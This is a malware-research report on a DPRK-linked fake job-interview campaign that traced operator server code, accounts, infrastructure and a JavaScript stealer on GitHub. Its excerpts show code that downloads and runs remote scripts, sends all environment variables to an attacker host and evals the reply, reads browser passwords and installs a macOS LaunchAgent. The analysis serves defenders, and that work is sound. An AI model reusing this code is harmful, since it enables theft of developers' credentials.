Contagious Interview: Public Servers, Infrastructure and Payloads
Public server source, account relationships, infrastructure changes and JavaScript stealer capabilities.
Cristian Chiriac
- Published:
- 2 November 2026
- Version:
- 1.0
- Last observed:
- 30 October 2026
- Dataset frozen:
- 1 November 2026
- Collection cut-off:
- 31 October 2026, 17:59 UTC
- Tracked items rechecked:
- 1 November 2026, 18:23 UTC
- Time zone
- All dates UTC.
Contents
Public repositories contain staging and payload server source, alongside a related JavaScript stealer family.
The research in 30 seconds
- What I found
- Public repositories contain staging and payload server source, alongside a related JavaScript stealer family.
- What this adds
- The first 15 server repositories retain 375 history entries; the examined source connects changing infrastructure with delivery and payload configuration.
- Verified scope
- 17 server-source repositories identified by 29 October; 35 analysed payload files within 157 historical versions.
- What remains unknown
- Source code and client-controlled commit dates do not establish live deployment, a server response or a victim compromise.
The numbers, with their boundaries
Context · separate measure
17
Server-source repositories
By 29 Oct 2026 · UTC
- Counts:
- Inventory total: the first 15 plus two found on 29 Oct. Not the 436-repository campaign proof set.
Context · separate measure
375
Server-history entries
History retained by 29 Oct 2026 · UTC
- Counts:
- History entries for the first 15 only; commit timestamps require corroboration.
Context · separate measure
35 / 157
Analysed files / historical versions
26–27 Oct 2026 · UTC
- Counts:
- 35 analysed payload files: 30 present on 26 Oct and five pushed on 27 Oct; 157 versions including history.
The operators of a DPRK-linked malware campaign keep the source code of their own servers on public GitHub, and its commit history exposes their infrastructure.
- Seventeen repositories hold the staging and payload servers that deliver an information stealer to developers who take fake job-interview coding tests.
- In the first fifteen, 375 commits date every change of hostname and deployment.
- On 27 October 2026, between 02:50 and 04:06 UTC, the operators pushed a new malware build with macOS persistence. Early on 29 October they pushed again, moving three staging servers to new hosts.
- The 27 October template recheck found 256 repositories with a byte-identical loader; the 29 October hook-lure inventory recorded 51 repositories. These are historical subsets, distinct from the broader 383-repository proof pass on 30 October described in the entry-point analysis.
I did not execute anything or contact the operators' servers. This article separates what I directly observed from what I infer.
This is the infrastructure analysis. Start with the fake coding tests and execution mechanisms for the recruitment bait and initial trigger.
Where this stands (1 November 2026)
#The proven set was closed on 1 November 2026 with what had been found up to 31 October 2026, 17:59 UTC; repositories found after that are tracked separately and are not in these figures. The full proof pass at pinned commits ran on 30–31 October. On 1 November 2026, 18:23 UTC a read-only GitHub API recheck covered the 162 repositories, 73 accounts and 12 issues that are tracked one by one (operator repositories, Shai-Hulud accounts, phishing issues), not the whole set.
- Public: 16 of the 18 server-source repositories; the two missing ones disappeared with their account before 29 October.
- Maintained: two staging servers received commits on 31 October (01:15 and 01:33 UTC), each changing
index.js; another one on 29 October at 08:12 UTC. The new code was not read.
Findings and confidence
#At a glance
#My inventory, reconciled on 27 October 2026 and extended on 29 October:
267 public coding-test repositories across 61 template families.
- 256 still contained a loader when re-checked on 27 October (12:41–12:45 UTC). The loader file was byte-identical to an analyzed sample in every case.
- The loader configuration resolves to a staging URL in 241 of them.
17 server-source repositories. The first 15, holding eight staging and seven payload servers, have 375 recorded commits from March to October 2026; two more, a staging server and a payload server under one account, were found on 29 October.
51 hook-lure repositories in 12 organizations, in which a hidden editor task arms a Git hook when the folder is opened (29 October).
35 payload files analyzed, from 157 payload versions overall:
- 30 files present on 26 October;
- 122 earlier versions from the repositories' history;
- 5 versions pushed on 27 October.
They belong to one code family with four builds, plus an older generation.
15 command-and-control (C2) IP addresses configured across those versions. 13 had no ThreatFox record when checked.
13 coding-test ZIP archives containing a
.gitdirectory with an activepost-checkouthook.
These are counts of what I identified, not estimates of all activity or of confirmed infections. How each one was counted:
| Count | How I counted it |
|---|---|
| 267 / 61 / 256 | Repositories sharing the template's sibling files, grouped into families. The loader counts only if its file is byte-identical to an analyzed loader (git blob hash), re-checked on 27 October. |
| 241 | Loader configurations that decode to a staging URL. In 14 the .env values are absent; in 1 the variable names could not be parsed. |
| 17 / 375 | Repositories whose source implements the staging or payload routes. The 375 commits are those of the first 15. |
| 51 / 12 | Repositories whose post-checkout hook downloads and runs a script, with a folder-open task that points Git at that hook directory; and their owning organizations. |
| 157 | Distinct payload file contents (git blobs) in the payload repositories' history, including the 5 versions of 27 October. |
| 15 C2 | Distinct IP addresses configured in any of those versions. Dates are configuration dates, not observed traffic. |
| 51 accounts | Distinct GitHub numeric IDs (plus one account whose ID is unknown). Renamed accounts are counted once; 54 logins in total. 32 were identified by 27 October, 19 more by 29 October. |
How I conducted the investigation
#Expand technical detail · complete record
I used publicly accessible repository and platform-event records (the GitHub REST and Events APIs, and the public GH Archive event history). I also used certificate-transparency data, passive DNS, existing third-party scans, registration (RDAP) records and threat-intelligence lookups.
Preserved samples were analyzed in an isolated virtual machine without executing the malware, contacting the suspected infrastructure, logging into an operator panel or accessing victim data. The deobfuscation process did evaluate string-decoder functions in a network-isolated environment; it did not run the payload as a whole. Later downloads from GitHub ran in a separate, disposable virtual machine, so that no sample was written to my workstation.
Account actions were attributed using platform-recorded events where available, not commit author names or email addresses. Many commits in these repositories carry the names and addresses of unrelated, long-standing developers, which is consistent with identity reuse. Commit timestamps can be set by clients and are labeled as commit dates, never as verified event times.
| Data source | What was collected | Scope | Date (UTC) | Coverage limit |
|---|---|---|---|---|
| GitHub code and commit search | Loader function names, configuration patterns, template sibling files, lure emails | 267 template repositories in 61 families; 508 configuration versions | 26–29 Oct 2026 | Default branches; indexed files only |
| GitHub object reads | Exact loader and configuration blobs by hash; HEAD re-checks | 308 repositories | 27 Oct 2026, 12:38–12:45 | — |
| Server-source repositories | Full history of 17 Express repositories; Vercel commit statuses | 375 commits (first 15) | 26–29 Oct 2026 | A commit does not prove a deployment |
| GitHub Events API and GH Archive | Authenticated pushes and repository creations | Actor-side accounts | 26–28 Oct 2026 | Events API about 90 days; GH Archive degraded for Aug–Oct 2026 |
| Preserved payload samples | Static analysis in an isolated VM | 35 files from 157 versions | 26–27 Oct 2026 | String decoders evaluated with the network isolated; payloads never run |
| Certificate transparency, passive DNS, RDAP | Registration and hosting of staging domains and C2 addresses | 48 hostnames; 15 C2 addresses | 26–29 Oct 2026 | Third-party scan coverage varies |
| Job-board archives | Recruitment posts and their authors | 1,214 archived posts on one board; 10 BitAngels posts on 8 boards | 28–29 Oct 2026 | Deleted posts only through archives |
The server side in public repositories
#Seventeen repositories contain the source of Express applications that make up the delivery chain:
- Staging servers (8). They answer
/settings/{windows,linux,mac}?flag=Nwith a script that downloads and starts a Node.js program in the background. Requests whose user agent looks like a browser or Postman receive a harmless IP-information decoy instead, so the abuse is not visible when the URL is opened in a browser. In the October 2026 version, the setup script sends the requester's full environment variables ({...process.env}) to the payload host before running the code it gets back. - Payload servers (7). They return one of several multi-megabyte obfuscated JavaScript files kept
in a folder named
10/. They also contain code that records each request (client IP, location, host name and user name) in a Firestore collection, and an operator view at/mine/list.
Excerpts from the index.js of one staging server, as last changed on 23 October 2026 (489 lines).
First, the decoy for anyone who opens the URL in a browser or in Postman:
const VALID_FLAGS = ["1", "2", "3", "4", "5", "6", "7", "8", "9"];
// ...
// Detect if request comes from a browser or Postman
const isBrowserOrPostman =
userAgent.includes("Mozilla") || userAgent.includes("Chrome") ||
userAgent.includes("Safari") || userAgent.includes("Edge") || postmanToken;
if (isBrowserOrPostman) {
// --- Show IP info if accessed from a browser or Postman ---
const response = await axios.get(`hxxp://ip-api[.]com/json/${clientIp}`);
return res.json({ ipInfo: response.data }); // ← harmless-looking answer
}Then what a request from curl or wget receives, here for Windows. The Linux and macOS variants
end with nohup bash ... > /dev/null 2>&1 &, so the next stage keeps running in the background:
case "windows":
if (!VALID_FLAGS.includes(flag)) {
return res.status(403).send("Unauthorized token");
}
script = `
@echo off
set "VSCODE_DIR=%USERPROFILE%\\.vscode"
if not exist "%VSCODE_DIR%" ( mkdir "%VSCODE_DIR%" )
curl -s -L -o "%VSCODE_DIR%\\vscode-bootstrap.cmd" hxxps://jitnad[.]biz/settings/bootstrap?flag=${flag}
"%VSCODE_DIR%\\vscode-bootstrap.cmd"
`;And the setup script's last step, which sends the requester's environment variables and runs the reply:
const apikey = "3aeb34a3${flag}";
axios
.post(
`hxxps://${host}/api/vscode-encrypted/${apikey}`,
{ ...process.env }, // ← every environment variable
{ headers: { "x-secret-header": "secret" } }
)
.then((response) => {
eval(response.data); // ← whatever comes back is executed
});The repository history shows how configured hosts changed. It records:
- 48 hostnames: 22 on
vercel.app, 3 ononrender.com, 3 Firebase projects and 20 custom domains; - 28 Vercel deployment targets, named by Vercel's own GitHub integration in commit statuses.
A commit shows what a version of the code contained. It does not establish that the version was deployed, that a service was live, or what it returned to a particular client.
The servers are still maintained. On 27 October 2026, between 02:50 and 04:06 UTC, four payload repositories owned by four different accounts each received a commit replacing one payload file. Vercel reported a successful deployment within one to two minutes of each commit.
Two days later, on 29 October between 00:02 and 02:54 UTC, three staging-server
repositories and one payload-server repository received new commits. The staging servers moved to
view-my-result[.]lol and jitnad[.]biz, and a new Vercel project appeared.
Two more server-source repositories belong to the account that posted the BitAngels job ads. One is a
staging server with the same /settings/:type route, which moved from githooks[.]xyz to
git-node-update[.]online (registered 12 October 2026) and was deployed eleven times to Vercel between
7 and 23 October. The other is a payload server with the /mine/list panel; its middleware files are
byte-identical to those of an earlier staging server. One account and one host therefore join the job
ads, the BitAngels hook lures and the server code.
The presence of operator server source in public repositories was not found in the public sources checked as of 29 October 2026. This is a bounded literature-search result, not a claim that no one else has observed it.
Account and infrastructure relationships
#These relationships describe accounts and recorded events. No natural person is identified.
- Continuity across accounts. An account that is no longer publicly accessible pushed a payload-server repository between 17 March and 22 April 2026, according to GH Archive. Its final commit appears in the history of a later account's repository. Two new accounts were created on 29 April 2026. One of them pushed onto a staging-server commit thirty minutes after its creation.
- User-then-organization pairs. From September 2026, four times, a new user account was followed within 1.5 to 18 minutes by an organization whose repositories only that user pushed to, in the available event window.
- Renames. Three accounts were renamed, identified by stable numeric platform IDs. One of them carried a different name in 2024.
- Lure-template distributor. An organization that distributes loader-bearing templates (sixteen of its repositories, together with its owner's, carry the loader) configured the same staging hosts that one of the staging servers adds to its source.
- Recruiter lure and npm package. A malicious npm package (OSV
MAL-2026-2896, April 2026) [12] uses the same payload URL and key as a previously documented recruiter lure. The payload server behind that URL is one whose source the since-inaccessible account had pushed.
Creation timing, matching names or shared hosting alone cannot establish common human control. A
shared staging host such as api-server-mocha, configured in 214 template copies, indicates the same
campaign infrastructure rather than a single operator group. In total I recorded 51 distinct
accounts on the infrastructure side (54 logins including old names): 32 by 27 October and 19 more by
29 October, mostly the hook-lure organizations. Thirty-seven were publicly accessible on 29 October.
The payload: a related JavaScript stealer family
#Static analysis of the preserved JavaScript samples found code that targets:
- browser data and extension storage, including the MetaMask wallet;
- macOS keychain data;
- SSH and AWS files;
- clipboard contents and screenshots.
The samples also contain operating-system checks, upload endpoints on ports 8085 and 8086, and a Socket.IO control channel on port 8087. All samples share five embedded modules that are identical once IP addresses, ports and numbers are normalized.
After deobfuscation, the upload and control addresses are plain constants near the top of each sample. This one is from a B1-cdp file:
const u_s = "hxxp://144.172.86[.]31:8086/upload";
const l_s = "hxxp://144.172.86[.]31:8085/upload";
const s_s = "hxxp://144.172.86[.]31:8087";The Chrome module starts a separate, headless browser with its debugging port open:
function launchChrome() {
const chrome = spawn(
CHROME_EXECUTABLE,
[
`--remote-debugging-port=${CDP_PORT}`,
`--user-data-dir=${CDP_PROFILE}`,
"--allow-file-access-from-files",
"about:blank",
"--headless=new",
],
{ stdio: "ignore", detached: false }
);
// ...
}And the password module looks for Chromium's saved-login databases in each browser profile:
const masterKey = fs.existsSync(localStatePath) ? <redacted>(localStatePath, `Browser${browserIndex}`) : null;
const allPasswords = [];
const loginDataNames = ['Login Data', 'Login Data For Account'];
for (const loginDataName of loginDataNames) {
// ...
allPasswords.push(...passwords);
}The macOS module added on 27 October (build B3-cdp-la, the same in all five new versions) writes a
LaunchAgent that starts that debuggable Chrome through launchd. Condensed:
Full source excerpt · 32 lines
if (os.platform() == "darwin" && os.release().localeCompare("27.0.0", undefined, { numeric: true }) >= 0) {
const CDP_PORT = 9222;
const LAUNCHD_LABEL = "com.user.chrome.cdp";
const LAUNCH_AGENTS_DIR = path.join(os.homedir(), "Library", "LaunchAgents");
const PLIST_PATH = path.join(LAUNCH_AGENTS_DIR, `${LAUNCHD_LABEL}.plist`);
// ...
const plist = `<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
<key>Label</key>
<string>${LAUNCHD_LABEL}</string>
<key>ProgramArguments</key>
<array>
<string>${xmlEscape(EXECUTABLE)}</string> <!-- ← Chrome, with the CDP arguments below -->
...
</array>
<key>RunAtLoad</key>
<true/> <!-- ← started again at every login -->
<key>KeepAlive</key>
<false/>
<key>StandardOutPath</key>
<string>/tmp/chrome-cdp.stdout.log</string>
<key>StandardErrorPath</key>
<string>/tmp/chrome-cdp.stderr.log</string>
</dict>
</plist>`;
await fsPromises.writeFile(PLIST_PATH, plist, "utf8");
await execFileAsync("/usr/bin/plutil", ["-lint", PLIST_PATH]);
await execFileAsync("/bin/launchctl", ["bootstrap", `gui/${process.getuid()}`, PLIST_PATH]);
// ...
}Two details matter for defenders. The plist path is fixed, ~/Library/LaunchAgents/com.user.chrome.cdp.plist,
and launchd writes Chrome's output to two files in /tmp. The branch also runs only when
os.release(), the Darwin kernel version, is 27.0.0 or later. macOS 26 reports Darwin 25, and I did not
verify which macOS release, if any, reports 27. As written, the module may therefore not run on current
Macs; that reads as a feature being prepared, but it is an inference from the code.
I grouped the samples into builds:
| Build | Samples | Distinguishing feature |
|---|---|---|
| A | 13 of the 30 | — |
| B1-cdp | 12 of the 30, plus 19 historical | A Puppeteer module that starts headless Chrome with a remote-debugging port and drives it, apparently to copy browser profile data |
| B2 | 5 of the 30 | — |
| B3-cdp-la | the 5 versions pushed on 27 October | Replaced exactly the four B2 files that used C2 45.61.145[.]161 (one file was replaced twice), and kept that C2. Adds a macOS LaunchAgent, com.user.chrome.cdp, that has launchd start Chrome with its debugging port open at every login (only when the Darwin version is 27.0.0 or later) |
| Older generation | 27 historical | Fewer core modules |
Neither the Chrome-debugging module nor the LaunchAgent persistence was found in the public sources I checked for this lineage. LaunchAgent persistence itself is a common macOS technique. This classification reflects static inspection; successful data theft, actual network responses and runtime behavior were not observed.
The assessment that this is consistent with the OtterCookie lineage draws on module structure and on prior public reporting by Cisco Talos [2], Elastic [9] and the SANS Internet Storm Center [8], whose reports also describe the 8085–8087 port pattern. It does not independently identify a nationality or natural person.
ATT&CK mapping
#Expand technical detail · complete record
| Technique | Name | Tactic | Evidence |
|---|---|---|---|
| T1585.001 | Social Media Accounts | Resource Development | Throwaway GitHub users and user-then-organization pairs that host lures and server code |
| T1583.001 | Domains | Resource Development | Staging domains registered in batches at Dynadot and Hostinger, September – October 2026 |
| T1583.007 | Serverless | Resource Development | Staging and payload servers deployed as Vercel projects from the operators' repositories |
| T1608.001 | Upload Malware | Resource Development | Payload files kept in the payload servers' 10/ folder; ZIP archives with live hooks |
| T1204.002 | Malicious File | Execution | The candidate must run the project, open and trust the folder, or check out the archive |
| T1059.007 | JavaScript | Execution | errorHandler.js passes the server response to Function.constructor; the payload is Node.js |
| T1059.004 | Unix Shell | Execution | post-checkout hooks pipe curl or wget output into sh |
| T1036.008 | Masquerade File Type | Stealth | Folder-open tasks in six template repositories run JavaScript stored under font names |
| T1027 | Obfuscated Files or Information | Stealth | Multi-megabyte obfuscated payloads; base64 staging URLs in .env files |
| T1543.001 | Launch Agent | Persistence | Build B3-cdp-la writes ~/Library/LaunchAgents/com.user.chrome.cdp.plist |
| T1555.003 | Credentials from Web Browsers | Credential Access | Password module reads Chromium Login Data databases (read from code) |
| T1552.001 | Credentials In Files | Credential Access | SSH and AWS files targeted (read from code) |
| T1115 | Clipboard Data | Collection | Clipboard collection module (read from code) |
| T1113 | Screen Capture | Collection | Screenshot module (read from code) |
| T1071.001 | Web Protocols | Command and Control | Uploads to /upload on ports 8085 and 8086; Socket.IO control on port 8087 |
Evidence register
#Expand technical detail · complete record
267 repositories in 61 template families; loader file compared by git blob hash with analyzed samples; configuration decoded to staging URLs; re-checked at HEAD.
Source: GitHub code search and object reads · Collected 27 October 2026
Express source of staging and payload servers, their full commit history, configured hosts and Vercel deployment statuses.
Source: GitHub repositories and commit statuses · Collected 29 October 2026
157 distinct payload blobs from the payload-server history; 35 preserved and analyzed statically, including the five B3-cdp-la versions of 27 October.
Source: GitHub object reads; isolated VM · Collected 27 October 2026
Thirteen ZIP archives with a live .git/hooks/post-checkout, and 51 repositories whose folder-open task sets core.hooksPath to a repository hook directory.
Source: GitHub contents API inside an isolated VM · Collected 29 October 2026
ParallelChain Labs posts preserved in a job board's archive; ten BitAngels posts on eight GitHub-hosted job boards with their authors and states.
Source: GitHub issues API; job-board archive · Collected 29 October 2026
Authenticated push and creation events for actor-side accounts, stable numeric IDs and renames.
Source: GitHub Events API; GH Archive · Collected 28 October 2026
Evidence chain and confidence
#| Relationship | Assessment | What remains unobserved |
|---|---|---|
Job post → parallelchain-labs[.]com |
Directly observed in archived posts | Whether any specific applicant engaged |
| BitAngels job posts → server source | Directly observed: the posting account owns a staging and a payload-server repository | Whether the posts led any candidate to a lure |
| Hook-lure repository → execution | Task and hook observed; the task runs on folder open in a trusted workspace | Actual execution was not tested |
| Domain → coding-test ZIPs | Directly observed: hook URL inside the ZIPs | How the ZIPs reached candidates |
| ZIP → execution | Hook file observed; runs on checkout | Actual execution was not tested |
| Hook → staging host | URL observed in hook | Live response and service availability |
| Staging server → payload | Supported by the server source | What the server returned at runtime |
| Payload → configured C2 | Observed in static analysis | A live connection or successful upload |
- 01Job postParallelChain Labs or BitAngels persona on a GitHub-hosted job board
- 02Coding testT1204.002Loader-bearing template, hook-lure repository or ZIP with a live hook
- 03TriggerT1059.007errorHandler.js at runtime, folder-open task, or post-checkout hook
- 04Staging serverT1583.007/settings/<os>?flag=N returns a setup script; browsers get an IP-information decoy
- 05Payload serverT1608.001Returns an obfuscated payload from the 10/ folder and logs the request to Firestore
- 06Stealer and remote accessT1071.001Browser data, keychain, SSH and AWS files, clipboard, screenshots; C2 on ports 8085–8087
| Inference | Confidence | Alternative explanation | Why it is less likely |
|---|---|---|---|
| The server-source repositories belong to the operators | High | Researchers or victims mirroring operator code | Authenticated pushes by the owning accounts; deployments within minutes of commits |
| Template copies belong to candidates, not operators | Moderate | Operator-seeded decoys | Long-lived personal accounts; copies spread over months; some accounts later flagged as staged are listed separately |
| One campaign behind all three triggers | Moderate | Several groups sharing templates and hosts | Shared staging hosts and campaign identifiers in the same repositories |
| The macOS module is being prepared, not active | Low–moderate | Already effective on some systems | The branch requires Darwin 27.0.0 or later |
Timeline
#Exact dates. Platform timestamps unless marked as commit dates; commit dates are set by the client.
Earliest malicious artifact found
Assessment project with a runtimeConfig.js loader, in an organization created the same day
First payload version in the payload-server history (commit date)
Two new accounts created
One pushes onto a staging-server commit 30 minutes after creation
parallelchain-labs[.]com registered
First ParallelChain Labs job post; TLS certificate issued about three hours later
Second ParallelChain Labs job post
The operators' server source adds parallelchain-labs[.]com as a staging host (commit date)
git-node-update[.]online registered
Build B3-cdp-la pushed to four payload repositories
Pushes 02:50–04:06 UTC; re-check 12:38–12:45
Operators update three staging servers and one payload server
00:02–02:54 UTC; one account and its two server repositories no longer accessible at 04:21
Periods:
- July 2025 – October 2026: the errorHandler loader file stays byte-identical across the template history (commit dates); only the staging host changes.
- 17 March – 22 April 2026: a since-inaccessible account pushes a payload-server repository (GH Archive).
- 22 August – 15 September 2026: ten BitAngels job posts on eight GitHub-hosted job boards.
- 3 – 24 October 2026: most hook-lure organizations are created; Dynadot registrations on 8, 13 and 23 October.
Data notes and reconciliation
#Expand technical detail · complete record
| Item | Values seen | Explanation |
|---|---|---|
| Loader repositories | 256 vs 333 | 256 = byte-identical loaders in the 61 template families (27 Oct); 333 = 30 Oct proof pass, including redistributed copies and other listed hits |
| First sweep vs inventory | 98 of 100 hits vs 256 repositories | Different measures: search hits on 26 October versus reconciled repositories on 27 October |
| Hook lures in the first batch | 34 vs 32 | Re-counted from the hook files; two repositories had no hook |
| Earliest malicious artifact | July 2025 vs 6 June 2025 | A runtimeConfig loader found on 29 October predates the errorHandler template history |
| Server-source repositories | 15 vs 17 | Two found on 29 October; the 375 commits are those of the first 15 |
| Actor-side accounts | 32 vs 51 | 19 added on 29 October, mostly hook-lure organizations |
| An account first classed "clean" | Re-classified | An earlier sweep checked lure markers only and missed its server-source repositories |
Indicators
#Expand technical detail · complete record
These indicators are defanged. A historical association does not establish present-day ownership or maliciousness. Dates are when the indicator was configured, not observed network activity.
| Type | Value | Context | Lookups | Copy | |
|---|---|---|---|---|---|
| domain | parallelchain-labs[.]com | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | parallelchain-lab[.]com | Look-alike of the lure domain; content not read Confidence: High-confidence suspicious | |||
| domain | tsoftlabs[.]com | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | hamdingersoft[.]com | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | gd[.]tracelic[.]com | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | githooks[.]xyz | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | githooks[.]homes | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | gitupdate[.]lol | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | gitremoteupdate[.]lol | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | aerrecens[.]lol | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | aerrecens[.]online | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | altrevon[.]com | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | vespero[.]xyz | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | honestyfi[.]xyz | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | jitnad[.]biz | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | jitnad[.]lol | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | dmitify[.]xyz | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | view-my-result[.]lol | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | lotusbyte[.]lat | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | lootrush[.]sbs | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | lootrushs[.]xyz | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | brickfi[.]vip | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | verifi-ai[.]network | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | enabledomain[.]app | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious | |||
| domain | git-node-update[.]online | Configured as a staging or lure host in operator code, hooks or loader configurations Confidence: Confirmed malicious |
| Type | Value | Context | Lookups | Copy | |
|---|---|---|---|---|---|
| domain | api-server-mocha[.]vercel[.]app | Staging host configured in loader configurations or server source Confidence: Confirmed malicious | |||
| domain | server-azure-tau[.]vercel[.]app | Staging host configured in loader configurations or server source Confidence: Confirmed malicious | |||
| domain | y-lilac-sigma[.]vercel[.]app | Staging host configured in loader configurations or server source Confidence: Confirmed malicious | |||
| domain | walter-server[.]vercel[.]app | Staging host configured in loader configurations or server source Confidence: Confirmed malicious | |||
| domain | server-victory5[.]vercel[.]app | Staging host configured in loader configurations or server source Confidence: Confirmed malicious | |||
| domain | tech0204vercelapp[.]vercel[.]app | Staging host configured in loader configurations or server source Confidence: Confirmed malicious | |||
| domain | dev-vic[.]vercel[.]app | Staging host configured in loader configurations or server source Confidence: Confirmed malicious | |||
| domain | railway-production-1649[.]up[.]railway[.]app | Staging host configured in loader configurations or server source Confidence: Confirmed malicious | |||
| domain | bs-production[.]up[.]railway[.]app | Staging host configured in loader configurations or server source Confidence: Confirmed malicious |
| Type | Value | Context | Copy | |
|---|---|---|---|---|
| ip | 144.172.107[.]191 | Configured 2026-03 Confidence: Confirmed malicious | ||
| ip | 144.172.93[.]169 | Configured 2026-03 Confidence: Confirmed malicious | ||
| ip | 144.172.110[.]228 | Configured 2026-03/04 Confidence: Confirmed malicious | ||
| ip | 144.172.94[.]202 | Configured 2026-04 to 06 Confidence: Confirmed malicious | ||
| ip | 172.86.73[.]27 | Configured 2026-05/06 Confidence: Confirmed malicious | ||
| ip | 172.86.126[.]76 | Configured 2026-06/07 Confidence: Confirmed malicious | ||
| ip | 153.75.87[.]26 | Configured 2026-07 Confidence: Confirmed malicious | ||
| ip | 144.172.110[.]154 | Configured 2026-09 Confidence: Confirmed malicious | ||
| ip | 144.172.86[.]31 | Configured 2026-09 Confidence: Confirmed malicious | ||
| ip | 144.172.85[.]176 | Configured 2026-09 Confidence: Confirmed malicious | ||
| ip | 172.86.125[.]61 | Configured 2026-10 Confidence: Confirmed malicious | ||
| ip | 172.86.125[.]98 | Configured 2026-10 Confidence: Confirmed malicious | ||
| ip | 167.88.172[.]174 | Configured 2026-10 Confidence: Confirmed malicious | ||
| ip | 144.172.118[.]166 | Configured 2026-10 Confidence: Confirmed malicious | ||
| ip | 45.61.145[.]161 | Configured through 27 October 2026 Confidence: Confirmed malicious |
| Type | Value | Context | Lookups | Copy | |
|---|---|---|---|---|---|
| sha256 | 0f08f08737dd5b6dfd76f396e361b7d795156888883fa89139a73b9934c64a24 | post-checkout hook, identical in all 13 ZIP archives Confidence: Confirmed malicious | |||
| sha256 | 6861cb75c996512c02b0161c2e533d533b30f95df33decfd47c3189bf3f2b0b7 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 8737d4f4f4d8cb346212088513abb32372a5bea3cf06e94761eeeb05382a8597 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 24954d3ff6c5b4ad1c4f61ae486ae979f0d28516491ebbd316bb18f9dedeeee4 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 44fa118e9b1d5be02eb0bcf1a27b84cc690a4578c7e1999e92514dd2c1ff4bc7 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 0e7eadd106528bee5be69e2441e0ff9e210364e5dc017f4a938569ba79e025da | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | ff896698878990afb2e9a4ba5d9dcd08c19b8857dd31e210f6c826d752706445 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 04d74c9565427074fef5f0eb687ceb7c4f5a2e822fe1e52923e2130fd6842333 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 9ecef510b69f643880e21a070e537d0af9c89db916cd46c13ce2ebb893667e74 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 41608549a5e0152ea8578955eba1775a0ae23e8a9d45796ff2f6ccf349a02f1e | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 3d87724d30456f1229eeba84e0102cf831fff69cc61fcca8ace03fa717688ad9 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | ed8b62831f8a9e20bb1d792e2eb3d7e5b4fc8daf96a4c972a11d548c15879d23 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 9e8af6fcfa5108f45af58e4873836a979c43e3bd70ef8e1839e6177327d7d99e | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 98cd340afc6c13ca4347724c6e2794546f818072ca6cdd6106cde93dc586d45c | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 13d2ad0418dcdee4d446e87acfa57cd40bb05d78dcb3a223467bcb251f5d1a32 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 850414cc8fb032e7bfcccdaf760f709aef556e509cc7c72afef05776a4e6cdc8 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 4a868091a68c994f8a66ba7ca824dcab6cc19f12d17cf5a69def9c17ec67a965 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | d395f5cf1c1b049acaac87586787cdace39e8be51b9ffdedf90bad28088a43e5 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 12d766f521c5bfa24e804a0eb187f5d61d3a3c2090497924da9d14619217cdd0 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | aa20c251abb49af4eb8a30107d5c150f61f108a5f1ce5b68f426ae55e2b2c962 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 8269e7186376b1e7d6b02355a38dafc7d364fc1d6188e25021db2ef31ec9477a | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | d17ff05fbd218d542cae5013c479b1ccddae54c3fadda958d14bc566194379ee | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 1763521f7b86b7203912577bf20a89e6605f408049b5c8016f780cc1c001fe4b | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | bb0fdb22f01cd63c415a3c75beae0881b7555961da85d150dcd56c7791754eff | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
